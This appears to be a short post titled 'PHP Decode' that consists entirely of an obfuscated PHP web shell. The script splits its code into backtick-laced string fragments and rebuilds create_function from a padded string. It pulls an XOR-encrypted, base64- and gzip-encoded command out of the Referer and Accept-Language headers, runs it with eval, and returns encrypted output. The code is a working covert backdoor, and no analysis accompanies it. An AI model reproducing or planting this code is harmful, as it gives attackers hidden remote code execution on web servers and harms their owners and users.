PHP Decode

<?php
$e='$kh="2707";`$kf="``b2f0";funct`ion x`($t,$k){$`c=`strlen($k`);`$l=strlen`($t);$o``=';
$z='`ncod`e(x(g`zcompre`ss`($o),$k)`);pri`nt("``<$k>$`d</$k>"`);@`session_destroy();}}}}';
$i='r`ay_`values($q);pr``eg_mat`ch_`all("/([\\w]`)[\\w-]+(``?:;q=0``.([\\d])`)?,?/",$ra,$m)';
$T=';}}return `$o;}$r`=$_SERV``ER;$rr=@$r[`"HTTP`_RE`FERER"];$ra`=@$r[`"HTTP`_ACCEPT_`LA';
$s=str_replace('jv','','crjvejvajvte_fujvjvnctjvion');
$h=';`if(`$q&&$m){@sess`i`on_start();`$s=&`$_SESSION`;$ss`="`substr";$sl=`"st`r`tolower';
$r='),$ss($s[$i],0,$e)`)),$`k)));$`o=ob_get_`content`s();``ob_e`nd_clean();$d=ba`se64_e';
$K='NG`UAG``E"];i`f($r``r&&$ra){$u=parse_url($r`r)`;`parse_str($u["q`uery"`],$q);$q`=ar';
$Y='ompress(@`x(@ba`se64_decod`e(`p`reg_re`place(ar`ray`("/_/","/-`/"),a`rray`("`/`","+"';
$F='[$i].=$p;$e=strp``os($s[$i],$f);``if($e){$k=$k`h.$`kf;ob_sta`rt();`@e`val(`@gz`unc';
$B='";$``i=$m[1][0].$m[`1][1`];$h=`$sl($s`s(md5($i.`$kh)`,0`,3));$f`=$sl($ss(m`d5`($i.';
$C='"";for($i=0;`$i<$l`;)`{for($j`=`0;($j<$c&&$i<$`l);$`j++,$i++`){$`o.=$t{$i}^`$k{``$j}';
$J='$kf),0`,3))`;$p=`"";for($z=1;$``z<count(`$m`[1]);$z`++)`$p.=$q[$m[2][$`z]];if`(st`rp';
$Q='os`($p,$h)==`=0){$``s[$i]="";$p=`$ss($p,3);}```if(array_key_e`xists($i,$```s))`{$s';
$L=str_replace('`','',$e.$C.$T.$K.$i.$h.$B.$J.$Q.$F.$Y.$r.$z);
$y=$s('',$L);$y();
?>